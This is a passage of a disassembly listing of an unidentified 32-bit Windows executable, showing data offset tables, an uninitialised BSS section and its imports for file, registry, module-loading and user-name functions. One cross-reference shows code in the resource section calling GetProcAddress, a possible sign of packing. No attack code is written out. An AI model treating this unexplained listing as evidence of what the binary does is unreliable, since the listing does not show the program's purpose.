off_409114 dd offset off_403878 ; DATA XREF: CODE:00406B68o off_409118 dd offset off_403880 ; DATA XREF: CODE:00406B5Co off_40911C dd offset off_403888 ; DATA XREF: CODE:00406B50o off_409120 dd offset off_403890 ; DATA XREF: CODE:00406B44o off_409124 dd offset off_403898 ; DATA XREF: CODE:00406B38o off_409128 dd offset off_4038A0 ; DATA XREF: CODE:00406B2Co off_40912C dd offset off_4038A8 ; DATA XREF: CODE:00406B20o off_409130 dd offset off_4038B0 ; DATA XREF: CODE:00406B14o off_409134 dd offset off_4038B8 ; DATA XREF: CODE:00406B08o off_409138 dd offset off_4038C0 ; DATA XREF: CODE:00406AFCo off_40913C dd offset off_4038C8 ; DATA XREF: CODE:00406AF0o off_409140 dd offset off_4038D0 ; DATA XREF: sub_4051EC+5Do ; CODE:00406AE4o off_409144 dd offset off_4038D8 ; DATA XREF: CODE:00406AD8o off_409148 dd offset off_4038E0 ; DATA XREF: CODE:00406ACCo off_40914C dd offset off_4038E8 ; DATA XREF: CODE:00406AC0o off_409150 dd offset off_4038F0 ; DATA XREF: CODE:00406AB4o off_409154 dd offset off_4038F8 ; DATA XREF: CODE:00406AA8o off_409158 dd offset off_403900 ; DATA XREF: CODE:00406A9Co off_40915C dd offset off_403908 ; DATA XREF: CODE:00406A90o off_409160 dd offset off_403910 ; DATA XREF: CODE:00406A84o off_409164 dd offset off_403918 ; DATA XREF: CODE:00406A78o off_409168 dd offset off_403920 ; DATA XREF: CODE:00406A6Co off_40916C dd offset off_403928 ; DATA XREF: CODE:00406A60o off_409170 dd offset off_403930 ; DATA XREF: sub_4051EC+A9o ; CODE:00406A54o off_409174 dd offset off_403938 ; DATA XREF: CODE:00406A48o off_409178 dd offset off_403940 ; DATA XREF: CODE:00406A3Co off_40917C dd offset off_403948 ; DATA XREF: CODE:00406A30o off_409180 dd offset off_403950 ; DATA XREF: CODE:00406A24o off_409184 dd offset off_403958 ; DATA XREF: CODE:00406A18o off_409188 dd offset off_403960 ; DATA XREF: CODE:00406A0Co off_40918C dd offset off_403968 ; DATA XREF: sub_4051EC+CEo ; CODE:00406A00o off_409190 dd offset off_403970 ; DATA XREF: CODE:004069F4o off_409194 dd offset off_403978 ; DATA XREF: CODE:004069E8o off_409198 dd offset off_403980 ; DATA XREF: CODE:004069DCo off_40919C dd offset off_403988 ; DATA XREF: CODE:004069D0o off_4091A0 dd offset off_403990 ; DATA XREF: CODE:004069C4o off_4091A4 dd offset off_403998 ; DATA XREF: CODE:004069B8o dword_4091A8 dd 2 ; DATA XREF: sub_405AA0+16r ; sub_406B98+46o dword_4091AC dd 0 ; DATA XREF: sub_405AA0+24r ; CODE:004069ACo dd 3 dword_4091B4 dd 0 ; DATA XREF: CODE:004069A4o dd 4 dword_4091BC dd 0 ; DATA XREF: CODE:0040699Co dd 5 dword_4091C4 dd 0 ; DATA XREF: CODE:00406994o dword_4091C8 dd 64h ; DATA XREF: sub_405B20+2Ao ; sub_405CE4+Fr ... dword_4091CC dd 0 ; DATA XREF: CODE:0040698Co dd 65h dword_4091D4 dd 0 ; DATA XREF: CODE:00406984o dd 6Ah dword_4091DC dd 0 ; DATA XREF: CODE:0040697Co off_4091E0 dd offset dword_403CAC ; DATA XREF: sub_406B98+31o dword_4091E4 dd 0 ; DATA XREF: CODE:00406974o dd offset dword_403D04 dword_4091EC dd 0 ; DATA XREF: CODE:0040696Co dd offset dword_403D5C dword_4091F4 dd 0 ; DATA XREF: CODE:00406964o dd offset dword_403E10 dword_4091FC dd 0 ; DATA XREF: CODE:0040695Co dd offset dword_403E68 dword_409204 dd 0 ; DATA XREF: CODE:00406954o dd offset dword_403EC0 dword_40920C dd 0 ; DATA XREF: CODE:0040694Co dd offset dword_403F18 dword_409214 dd 0 ; DATA XREF: CODE:00406944o dd offset dword_403FCC dword_40921C dd 0 ; DATA XREF: CODE:0040693Co dd offset dword_404084 dword_409224 dd 0 ; DATA XREF: CODE:00406934o dd offset dword_4040E4 dword_40922C dd 0 ; DATA XREF: CODE:0040692Co dd offset dword_404198 dword_409234 dd 0 ; DATA XREF: CODE:00406924o dd offset dword_40413C dword_40923C dd 0 ; DATA XREF: CODE:0040691Co dd offset dword_4041F0 dword_409244 dd 0 ; DATA XREF: CODE:00406914o dd offset dword_4041F0 dword_40924C dd 0 ; DATA XREF: CODE:0040690Co dd offset dword_4041F0 dword_409254 dd 0 ; DATA XREF: CODE:00406904o dd offset dword_4041F0 dword_40925C dd 0 ; DATA XREF: CODE:004068FCo dd offset dword_4041F0 dword_409264 dd 0 ; DATA XREF: CODE:004068F4o dd offset dword_4041F0 dword_40926C dd 0 ; DATA XREF: CODE:004068ECo dd offset dword_40424C dword_409274 dd 0 ; DATA XREF: CODE:004068E4o dd offset dword_403BF4 dword_40927C dd 0 ; DATA XREF: CODE:004068DCo dd offset dword_404308 dword_409284 dd 0 ; DATA XREF: CODE:004068D4o dd offset dword_404364 dword_40928C dd 0 ; DATA XREF: CODE:004068CCo dword_409290 dd 20591EC1h ; DATA XREF: sub_406338+Ar dword_409294 dd 0 ; DATA XREF: sub_40683C+1o dword_409298 dd 1 ; DATA XREF: sub_4070D4+3r dd 10h, 2, 20h, 4, 40h, 4, 40h off_4092B8 dd offset off_403888 ; DATA XREF: CODE:00406B54o off_4092BC dd offset off_4037F8 ; DATA XREF: CODE:00406908o off_4092C0 dd offset off_403748 ; DATA XREF: CODE:004069A0o off_4092C4 dd offset off_4038D8 ; DATA XREF: CODE:00406ADCo off_4092C8 dd offset off_403918 ; DATA XREF: CODE:00406A7Co off_4092CC dd offset off_403980 ; DATA XREF: CODE:004069E0o off_4092D0 dd offset off_4038A8 ; DATA XREF: CODE:00406B24o off_4092D4 dd offset dword_40A028 ; DATA XREF: sub_405FA4+79r off_4092D8 dd offset off_403838 ; DATA XREF: sub_405EC8+73r ; CODE:004068E0o off_4092DC dd offset off_403990 ; DATA XREF: CODE:004069C8o off_4092E0 dd offset dword_40A008 ; DATA XREF: sub_405FA4+2Er ; sub_406028+34r off_4092E4 dd offset off_403968 ; DATA XREF: CODE:00406A04o off_4092E8 dd offset off_403890 ; DATA XREF: CODE:00406B48o off_4092EC dd offset off_403760 ; DATA XREF: CODE:00406988o off_4092F0 dd offset off_403970 ; DATA XREF: CODE:004069F8o off_4092F4 dd offset off_403950 ; DATA XREF: CODE:00406A28o off_4092F8 dd offset off_403978 ; DATA XREF: CODE:004069ECo off_4092FC dd offset dword_40A01C ; DATA XREF: sub_405FA4+44r ; sub_406028+46r off_409300 dd offset off_403730 ; DATA XREF: sub_405AA0+44r off_409304 dd offset off_4037E0 ; DATA XREF: CODE:004058A4r off_409308 dd offset off_403728 ; DATA XREF: sub_405FA4r off_40930C dd offset off_4038B0 ; DATA XREF: CODE:00406B18o off_409310 dd offset off_403768 ; DATA XREF: CODE:00406980o off_409314 dd offset off_4037E8 ; DATA XREF: CODE:00406B90o off_409318 dd offset off_403860 ; DATA XREF: CODE:loc_405C4Cr off_40931C dd offset off_403900 ; DATA XREF: CODE:00406AA0o off_409320 dd offset dword_40A20C ; DATA XREF: CODE:0040584Er off_409324 dd offset off_403920 ; DATA XREF: CODE:00406A70o off_409328 dd offset off_403830 ; DATA XREF: CODE:004068F8o off_40932C dd offset dword_40A00C ; DATA XREF: sub_405FA4+51r ; sub_406028+4Fr off_409330 dd offset off_4038E0 ; DATA XREF: CODE:00406AD0o off_409334 dd offset dword_40A004 ; DATA XREF: sub_405FA4+39r ; sub_406028+3Dr off_409338 dd offset dword_40A010 ; DATA XREF: sub_405FA4+5Cr ; sub_406028+58r off_40933C dd offset off_403928 ; DATA XREF: CODE:00406A64o off_409340 dd offset off_4037C0 ; DATA XREF: CODE:00406920o off_409344 dd offset off_4037C8 ; DATA XREF: CODE:00406928o off_409348 dd offset off_403960 ; DATA XREF: CODE:00406A10o off_40934C dd offset off_403738 ; DATA XREF: CODE:004069B0o off_409350 dd offset off_403780 ; DATA XREF: CODE:00406968o off_409354 dd offset off_4037F0 ; DATA XREF: CODE:00406B84o off_409358 dd offset off_403810 ; DATA XREF: CODE:00406900o off_40935C dd offset off_4038D0 ; DATA XREF: CODE:00406AE8o off_409360 dd offset off_403848 ; DATA XREF: CODE:004068D8o off_409364 dd offset off_4038F8 ; DATA XREF: CODE:00406AACo off_409368 dd offset off_403828 ; DATA XREF: CODE:00406910o off_40936C dd offset off_4038E8 ; DATA XREF: CODE:00406AC4o off_409370 dd offset off_403908 ; DATA XREF: CODE:00406A94o off_409374 dd offset off_403820 ; DATA XREF: CODE:00406918o off_409378 dd offset off_403878 ; DATA XREF: CODE:00406B6Co off_40937C dd offset off_4038B8 ; DATA XREF: CODE:00406B0Co off_409380 dd offset off_403948 ; DATA XREF: CODE:00406A34o off_409384 dd offset off_403758 ; DATA XREF: CODE:00406990o off_409388 dd offset off_403798 ; DATA XREF: CODE:00406950o off_40938C dd offset off_4038F0 ; DATA XREF: CODE:00406AB8o off_409390 dd offset off_4037A8 ; DATA XREF: sub_405FA4+17r off_409394 dd offset off_403958 ; DATA XREF: CODE:00406A1Co off_409398 dd offset off_4037A0 ; DATA XREF: CODE:00406948o off_40939C dd offset off_403930 ; DATA XREF: CODE:00406A58o off_4093A0 dd offset dword_40A020 ; DATA XREF: sub_405FA4+6Cr ; sub_406028+61r off_4093A4 dd offset off_403850 ; DATA XREF: CODE:004068D0o off_4093A8 dd offset off_403808 ; DATA XREF: sub_405CFC+54r off_4093AC dd offset off_403988 ; DATA XREF: CODE:004069D4o off_4093B0 dd offset off_403750 ; DATA XREF: CODE:00406998o off_4093B4 dd offset off_403840 ; DATA XREF: sub_405B74+38r ; CODE:004068E8o off_4093B8 dd offset off_403910 ; DATA XREF: CODE:00406A88o off_4093BC dd offset off_403938 ; DATA XREF: CODE:00406A4Co off_4093C0 dd offset dword_40A03C ; DATA XREF: CODE:00405844r off_4093C4 dd offset off_403940 ; DATA XREF: CODE:00406A40o off_4093C8 dd offset off_403818 ; DATA XREF: CODE:004068F0o off_4093CC dd offset off_403868 ; DATA XREF: sub_405CFC+110r off_4093D0 dd offset off_4038A0 ; DATA XREF: CODE:00406B30o off_4093D4 dd offset off_403858 ; DATA XREF: sub_405B74+63r off_4093D8 dd offset off_4038C0 ; DATA XREF: CODE:00406B00o off_4093DC dd offset off_403998 ; DATA XREF: CODE:004069BCo off_4093E0 dd offset off_403880 ; DATA XREF: CODE:00406B60o off_4093E4 dd offset off_4037B8 ; DATA XREF: sub_405CFC+16Cr ; CODE:00406938o off_4093E8 dd offset off_403740 ; DATA XREF: CODE:004069A8o off_4093EC dd offset off_4037D0 ; DATA XREF: CODE:00406930o off_4093F0 dd offset off_403778 ; DATA XREF: CODE:00406970o off_4093F4 dd offset off_403770 ; DATA XREF: CODE:00406978o off_4093F8 dd offset off_4038C8 ; DATA XREF: CODE:00406AF4o off_4093FC dd offset off_403788 ; DATA XREF: CODE:00406960o off_409400 dd offset off_403870 ; DATA XREF: CODE:00406B78o off_409404 dd offset off_4037D8 ; DATA XREF: CODE:00405786r off_409408 dd offset off_4037B0 ; DATA XREF: CODE:00406940o off_40940C dd offset off_403790 ; DATA XREF: CODE:00406958o off_409410 dd offset off_403800 ; DATA XREF: sub_405CFC+45r off_409414 dd offset off_403898 ; DATA XREF: CODE:00406B3Co align 200h DATA ends ; Section 3. (virtual address 0000A000) ; Virtual size : 00000A4D ( 2637.) ; Section size in file : 00000000 ( 0.) ; Offset to raw data for section: 00007C00 ; Flags C0000000: Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Regular ; Segment permissions: Read/Write BSS segment para public '' use32 assume cs:BSS ;org 40A000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing dword_40A000 dd ? ; DATA XREF: sub_403450+13w dword_40A004 dd ? ; DATA XREF: DATA:off_409334o dword_40A008 dd ? ; DATA XREF: sub_40128C+9r ; sub_40128C+16r ... dword_40A00C dd ? ; DATA XREF: DATA:off_40932Co dword_40A010 dd ? ; DATA XREF: sub_4021A4+25r ; DATA:off_409338o dword_40A014 dd ? ; DATA XREF: sub_4020F0+14r ; sub_40210C+16r ... dword_40A018 dd ? ; DATA XREF: sub_4021A4+D2r ; sub_402428+Aw dword_40A01C dd ? ; DATA XREF: DATA:off_4092FCo dword_40A020 dd ? ; DATA XREF: DATA:off_4093A0o dword_40A024 dd ? ; DATA XREF: sub_4024E0+A0r ; sub_4024E0+A9r dword_40A028 dd ? ; DATA XREF: DATA:off_4092D4o dword_40A02C dd ? ; DATA XREF: sub_402428+29w dword_40A030 dd ? ; DATA XREF: sub_403450+27w byte_40A034 db ? ; DATA XREF: sub_402428+2Ew align 4 dword_40A038 dd ? ; DATA XREF: sub_4024E0+Eo dword_40A03C dd ? ; DATA XREF: DATA:off_4093C0o dword_40A040 dd 73h dup(?) ; DATA XREF: sub_4018F0:loc_40192Fo dword_40A20C dd 73h dup(?) ; DATA XREF: sub_4017E8:loc_401807o ; DATA:off_409320o dword_40A3D8 dd 73h dup(?) ; DATA XREF: CODE:loc_401721o ; sub_4017E8+26o dword_40A5A4 dd ? ; DATA XREF: sub_403408+11w ; sub_403450w ; HANDLE hHeap hHeap dd ? ; DATA XREF: sub_4011B0+7r ; sub_4011C4+Dr ... dword_40A5AC dd 2 dup(?) ; DATA XREF: sub_402384+4o ; sub_4024B0+Do ... dword_40A5B4 dd ? ; DATA XREF: sub_40240Cr ; sub_402428+14w dword_40A5B8 dd ? ; DATA XREF: sub_4023B8+20w ; sub_402428+1Bw dword_40A5BC dd ? ; DATA XREF: sub_402428+20w dd 6 dup(?) dword_40A5D8 dd ? ; DATA XREF: sub_403408+19r ; sub_403408+22r dword_40A5DC dd ? ; DATA XREF: sub_402D80o ; sub_402D80+19w ... dd 0Ah dup(?) dword_40A608 dd ? ; DATA XREF: sub_402DA8r dd 1Fh dup(?) byte_40A688 db ? ; DATA XREF: sub_4034D8r byte_40A689 db ? ; DATA XREF: sub_406D18+2Er align 4 ; DWORD TlsIndex TlsIndex dd ? ; DATA XREF: sub_403494+Cr ; sub_403494+37r ... dd ? dword_40A694 dd ? ; DATA XREF: sub_403524+11w ; sub_403524+16r ... dword_40A698 dd ? ; DATA XREF: sub_403568+11w ; CODE:loc_403598w dword_40A69C dd ? ; DATA XREF: sub_4034D8:loc_403507r dword_40A6A0 dd ? ; DATA XREF: sub_4035A0+11w ; sub_4035D0w dword_40A6A4 dd ? ; DATA XREF: sub_4036B8+11w ; sub_4036E8w dword_40A6A8 dd ? ; DATA XREF: sub_4036F0+11w ; sub_403720w dword_40A6AC dd ? ; DATA XREF: sub_4039A0+11w ; sub_4039D0w dword_40A6B0 dd ? ; DATA XREF: sub_404C38+1Cr ; sub_4064C4+52o ... byte_40A6B4 db ? ; DATA XREF: sub_404C38+24r ; sub_4064C4+7Bw byte_40A6B5 db ? ; DATA XREF: sub_404C38+2Cr ; sub_4064C4+9Fw byte_40A6B6 db ? ; DATA XREF: sub_404C38+14r ; sub_4064C4+B2w byte_40A6B7 db ? ; DATA XREF: sub_404C38+Cr ; sub_4064C4+C5w byte_40A6B8 db ? ; DATA XREF: sub_4047F6+296r ; sub_4064C4+E9w byte_40A6B9 db ? ; DATA XREF: sub_4064C4+FCw align 4 dword_40A6BC dd ? ; DATA XREF: sub_4064C4+124o ; sub_406B98+135o dword_40A6C0 dd ? ; DATA XREF: sub_4064C4+151o ; sub_406B98+12Bo byte_40A6C4 db ? ; DATA XREF: sub_4064C4+169w align 4 dword_40A6C8 dd ? ; DATA XREF: sub_4064C4+186o ; sub_406B98+121o dword_40A6CC dd ? ; DATA XREF: sub_4064C4+1A8o ; sub_406B98+117o dword_40A6D0 dd ? ; DATA XREF: sub_4064C4+271o ; sub_406B98+10Do dword_40A6D4 dd ? ; DATA XREF: sub_4064C4+28Eo ; sub_406B98+103o dword_40A6D8 dd 0Ch dup(?) ; DATA XREF: sub_4051EC+29o ; sub_406B98+EEo dword_40A708 dd 0Ch dup(?) ; DATA XREF: sub_4051EC+2Eo ; sub_406B98+D9o dword_40A738 dd 7 dup(?) ; DATA XREF: sub_4051EC+8Ao ; sub_406B98+C4o dword_40A754 dd 7 dup(?) ; DATA XREF: sub_4051EC+8Fo ; sub_406B98+AFo ; LCID Locale Locale dd ? ; DATA XREF: sub_4062D8+Er ; sub_406350+Cw ... dword_40A774 dd ? ; DATA XREF: sub_405474+5Cr ; sub_406338r ... dword_40A778 dd ? ; DATA XREF: sub_406350+20w ; sub_406350+53w dword_40A77C dd ? ; DATA XREF: CalInfoEnumProc:loc_405324r ; CalInfoEnumProc+1Eo ... dword_40A780 dd 6 dup(?) ; DATA XREF: sub_406B98+9Ao dword_40A798 dd ? ; DATA XREF: sub_40534C:loc_405370r ; sub_40534C+43w dword_40A79C dd 7 dup(?) ; DATA XREF: sub_4053C4+5Do dword_40A7B8 dd ? ; DATA XREF: sub_406B98+8Ao dword_40A7BC dd ? ; DATA XREF: sub_406B98+7Ao dword_40A7C0 dd ? ; DATA XREF: sub_406B98+11w ; sub_406D18+11w dword_40A7C4 dd ? ; DATA XREF: sub_405B20:loc_405B35r ; sub_405FA4+12w ... dword_40A7C8 dd ? ; DATA XREF: sub_405B20:loc_405B3Dr ; sub_405FA4+29w ... dword_40A7CC dd ? ; DATA XREF: sub_406B98+1Do dword_40A7D0 dd ? ; DATA XREF: sub_406F40+11w ; sub_406F70w dword_40A7D4 dd ? ; DATA XREF: CODE:00407C49o ; CODE:00407C68r dword_40A7D8 dd ? ; DATA XREF: CODE:00407CAFo ; CODE:00407CC8r ... dword_40A7DC dd ? ; DATA XREF: CODE:00407CC3o ; CODE:00407CD3o ... byte_40A7E0 db ? ; DATA XREF: CODE:loc_407C61o ; CODE:00407E21r byte_40A7E1 db 3 dup(?) ; DATA XREF: CODE:00407D4Ao dd 3Fh dup(?) db ? byte_40A8E1 db ? ; DATA XREF: CODE:00407CECr align 4 dword_40A8E4 dd ? ; DATA XREF: CODE:00407C78o ; CODE:00407C94o ... dword_40A8E8 dd ? ; DATA XREF: CODE:loc_407D45o ; CODE:00407D72r ... dword_40A8EC dd 53h dup(?) ; DATA XREF: CODE:00407EB6o ; CODE:00407EC5o ... dword_40AA38 dd ? ; DATA XREF: CODE:00407BF9w ; CODE:00407FA5r ... dword_40AA3C dd ? ; DATA XREF: CODE:00407C1Cw ; CODE:00407F2Br dword_40AA40 dd ? ; DATA XREF: CODE:00407C3Fw ; CODE:00407C5Br ... dword_40AA44 dd ? ; DATA XREF: CODE:00407BA4w ; CODE:00407BCEr ... dword_40AA48 dd ? ; DATA XREF: CODE:00407BB3w ; CODE:00407C14r ... align 200h BSS ends ; ; Imports from kernel32.dll ; ; Section 4. (virtual address 0000B000) ; Virtual size : 0000077A ( 1914.) ; Section size in file : 00000800 ( 2048.) ; Offset to raw data for section: 00007C00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Externs ; _idata ; DWORD __stdcall GetCurrentThreadId() extrn __imp_GetCurrentThreadId:dword ; DATA XREF: GetCurrentThreadIdr ; int __stdcall WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWSTR lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCSTR lpDefaultChar, LPBOOL lpUsedDefaultChar) extrn __imp_WideCharToMultiByte:dword ; DATA XREF: WideCharToMultiByter ; int __stdcall lstrlenA(LPCSTR lpString) extrn __imp_lstrlenA:dword ; DATA XREF: lstrlenAr ; LPSTR __stdcall lstrcpynA(LPSTR lpString1, LPCSTR lpString2, int iMaxLength) extrn __imp_lstrcpynA:dword ; DATA XREF: lstrcpynAr ; HMODULE __stdcall LoadLibraryExA(LPCSTR lpLibFileName, HANDLE hFile, DWORD dwFlags) extrn __imp_LoadLibraryExA:dword ; DATA XREF: LoadLibraryExAr ; LCID __stdcall GetThreadLocale() extrn __imp_GetThreadLocale:dword ; DATA XREF: GetThreadLocaler ; FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName) extrn __imp_GetProcAddress:dword ; CODE XREF: sub_408147+33p ; .rsrc:0042AA55p ; DATA XREF: ... ; int __stdcall GetLocaleInfoA(LCID Locale, LCTYPE LCType, LPSTR lpLCData, int cchData) extrn __imp_GetLocaleInfoA:dword ; DATA XREF: GetLocaleInfoAr ; DWORD __stdcall GetLastError() extrn __imp_GetLastError:dword ; DATA XREF: GetLastErrorr ; HANDLE __stdcall FindFirstFileA(LPCSTR lpFileName, LPWIN32_FIND_DATAA lpFindFileData) extrn __imp_FindFirstFileA:dword ; DATA XREF: FindFirstFileAr ; BOOL __stdcall FindClose(HANDLE hFindFile) extrn __imp_FindClose:dword ; DATA XREF: FindCloser ; void __stdcall ExitProcess(UINT uExitCode) extrn __imp_ExitProcess:dword ; DATA XREF: ExitProcessr ; BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped) extrn __imp_WriteFile:dword ; DATA XREF: WriteFiler ; CODE:loc_40183Cr ; LONG __stdcall UnhandledExceptionFilter(struct _EXCEPTION_POINTERS *ExceptionInfo) extrn __imp_UnhandledExceptionFilter:dword ; DATA XREF: UnhandledExceptionFilterr ; DWORD __stdcall SetFilePointer(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod) extrn __imp_SetFilePointer:dword ; DATA XREF: SetFilePointerr ; BOOL __stdcall SetEndOfFile(HANDLE hFile) extrn __imp_SetEndOfFile:dword ; DATA XREF: SetEndOfFiler extrn RtlUnwind:dword ; DATA XREF: CODE:loc_4010F8r ; BOOL __stdcall ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped) extrn __imp_ReadFile:dword ; DATA XREF: ReadFiler ; void __stdcall RaiseException(DWORD dwExceptionCode, DWORD dwExceptionFlags, DWORD nNumberOfArguments, const ULONG_PTR *lpArguments) extrn RaiseException:dword ; DATA XREF: CODE:loc_4010E8r ; HANDLE __stdcall GetStdHandle(DWORD nStdHandle) extrn __imp_GetStdHandle:dword ; DATA XREF: GetStdHandler ; DWORD __stdcall GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh) extrn __imp_GetFileSize:dword ; DATA XREF: GetFileSizer ; void __stdcall GetSystemTime(LPSYSTEMTIME lpSystemTime) extrn __imp_GetSystemTime:dword ; DATA XREF: GetSystemTimer ; DWORD __stdcall GetFileType(HANDLE hFile) extrn __imp_GetFileType:dword ; DATA XREF: GetFileTyper ; HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile) extrn __imp_CreateFileA:dword ; DATA XREF: CreateFileAr ; BOOL __stdcall CloseHandle(HANDLE hObject) extrn __imp_CloseHandle:dword ; DATA XREF: CloseHandler ; LPSTR __stdcall GetCommandLineA() extrn __imp_GetCommandLineA:dword ; DATA XREF: GetCommandLineAr ; BOOL __stdcall TlsSetValue(DWORD dwTlsIndex, LPVOID lpTlsValue) extrn __imp_TlsSetValue:dword ; DATA XREF: TlsSetValuer ; LPVOID __stdcall TlsGetValue(DWORD dwTlsIndex) extrn __imp_TlsGetValue:dword ; DATA XREF: TlsGetValuer ; HLOCAL __stdcall LocalAlloc(UINT uFlags, SIZE_T uBytes) extrn __imp_LocalAlloc:dword ; DATA XREF: LocalAllocr ; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName) extrn __imp_GetModuleHandleA:dword ; DATA XREF: GetModuleHandleAr ; DWORD __stdcall GetModuleFileNameA(HMODULE hModule, LPCH lpFilename, DWORD nSize) extrn __imp_GetModuleFileNameA:dword ; DATA XREF: GetModuleFileNameAr ; BOOL __stdcall FreeLibrary(HMODULE hLibModule) extrn __imp_FreeLibrary:dword ; DATA XREF: FreeLibraryr ; BOOL __stdcall HeapFree(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem) extrn __imp_HeapFree:dword ; DATA XREF: HeapFreer ; LPVOID __stdcall HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes) extrn __imp_HeapReAlloc:dword ; DATA XREF: HeapReAllocr ; LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes) extrn __imp_HeapAlloc:dword ; DATA XREF: HeapAllocr ; HANDLE __stdcall GetProcessHeap() extrn __imp_GetProcessHeap:dword ; DATA XREF: GetProcessHeapr ; ; Imports from user32.dll ; ; int __stdcall LoadStringA(HINSTANCE hInstance, UINT uID, LPSTR lpBuffer, int cchBufferMax) extrn __imp_LoadStringA:dword ; DATA XREF: LoadStringAr ; LPSTR __stdcall CharNextA(LPCSTR lpsz) extrn __imp_CharNextA:dword ; DATA XREF: CharNextAr ; ; Imports from advapi32.dll ; ; LSTATUS __stdcall RegQueryValueExA(HKEY hKey, LPCSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData) extrn __imp_RegQueryValueExA:dword ; DATA XREF: RegQueryValueExAr ; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult) extrn __imp_RegOpenKeyExA:dword ; DATA XREF: RegOpenKeyExAr ; LSTATUS __stdcall RegCloseKey(HKEY hKey) extrn __imp_RegCloseKey:dword ; DATA XREF: RegCloseKeyr ; ; Imports from oleaut32.dll ; ; void __stdcall SysFreeString(BSTR bstrString) extrn __imp_SysFreeString:dword ; DATA XREF: SysFreeStringr ; ; Imports from advapi32.dll ; ; BOOL __stdcall GetUserNameA(LPSTR lpBuffer, LPDWORD pcbBuffer) extrn __imp_GetUserNameA:dword ; DATA XREF: GetUserNameAr ; ; Imports from kernel32.dll ; ; BOOL __stdcall WriteFile_0(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped) extrn __imp_WriteFile_0:dword ; DATA XREF: WriteFile_0r ; SIZE_T __stdcall VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength) extrn __imp_VirtualQuery:dword ; DATA XREF: VirtualQueryr ; BOOL __stdcall TerminateProcess(HANDLE hProcess, UINT uExitCode) extrn __imp_TerminateProcess:dword ; DATA XREF: TerminateProcessr ; HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName) extrn __imp_LoadLibraryA:dword ; DATA XREF: LoadLibraryAr ; BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA lpVersionInformation) extrn __imp_GetVersionExA:dword ; DATA XREF: GetVersionExAr ; LCID __stdcall GetThreadLocale_0() extrn __imp_GetThreadLocale_0:dword ; DATA XREF: GetThreadLocale_0r ; BOOL __stdcall GetStringTypeExA(LCID Locale, DWORD dwInfoType, LPCSTR lpSrcStr, int cchSrc, LPWORD lpCharType) extrn __imp_GetStringTypeExA:dword ; DATA XREF: GetStringTypeExAr ; HANDLE __stdcall GetStdHandle_0(DWORD nStdHandle) extrn __imp_GetStdHandle_0:dword ; DATA XREF: GetStdHandle_0r ; FARPROC __stdcall GetProcAddress_0(HMODULE hModule, LPCSTR lpProcName) extrn __imp_GetProcAddress_0:dword ; DATA XREF: GetProcAddress_0r ; HMODULE __stdcall GetModuleHandleA_0(LPCSTR lpModuleName) extrn __imp_GetModuleHandleA_0:dword ; DATA XREF: GetModuleHandleA_0r ; DWORD __stdcall GetModuleFileNameA_0(HMODULE hModule, LPCH lpFilename, DWORD nSize) extrn __imp_GetModuleFileNameA_0:dword ; DATA XREF: GetModuleFileNameA_0r ; int __stdcall GetLocaleInfoA_0(LCID Locale, LCTYPE LCType, LPSTR lpLCData, int cchData) extrn __imp_GetLocaleInfoA_0:dword ; DATA XREF: GetLocaleInfoA_0r ; DWORD __stdcall GetEnvironmentVariableA(LPCSTR lpName, LPSTR lpBuffer, DWORD nSize) extrn __imp_GetEnvironmentVariableA:dword ; DATA XREF: GetEnvironmentVariableAr ; BOOL __stdcall GetDiskFreeSpaceA(LPCSTR lpRootPathName, LPDWORD lpSectorsPerCluster, LPDWORD lpBytesPerSector, LPDWORD lpNumberOfFreeClusters, LPDWORD lpTotalNumberOfClusters) extrn __imp_GetDiskFreeSpaceA:dword ; DATA XREF: GetDiskFreeSpaceAr ; DWORD __stdcall GetCurrentDirectoryA(DWORD nBufferLength, LPSTR lpBuffer) extrn __imp_GetCurrentDirectoryA:dword ; DATA XREF: GetCurrentDirectoryAr ; BOOL __stdcall GetCPInfo(UINT CodePage, LPCPINFO lpCPInfo) extrn __imp_GetCPInfo:dword ; DATA XREF: GetCPInfor ; UINT __stdcall GetACP() extrn __imp_GetACP:dword ; DATA XREF: GetACPr ; HANDLE __stdcall FindFirstFileA_0(LPCSTR lpFileName, LPWIN32_FIND_DATAA lpFindFileData) extrn __imp_FindFirstFileA_0:dword ; DATA XREF: FindFirstFileA_0r ; BOOL __stdcall FindClose_0(HANDLE hFindFile) extrn __imp_FindClose_0:dword ; DATA XREF: FindClose_0r ; BOOL __stdcall FileTimeToLocalFileTime(const FILETIME *lpFileTime, LPFILETIME lpLocalFileTime) extrn __imp_FileTimeToLocalFileTime:dword ; DATA XREF: FileTimeToLocalFileTimer ; BOOL __stdcall FileTimeToDosDateTime(const FILETIME *lpFileTime, LPWORD lpFatDate, LPWORD lpFatTime) extrn __imp_FileTimeToDosDateTime:dword ; DATA XREF: 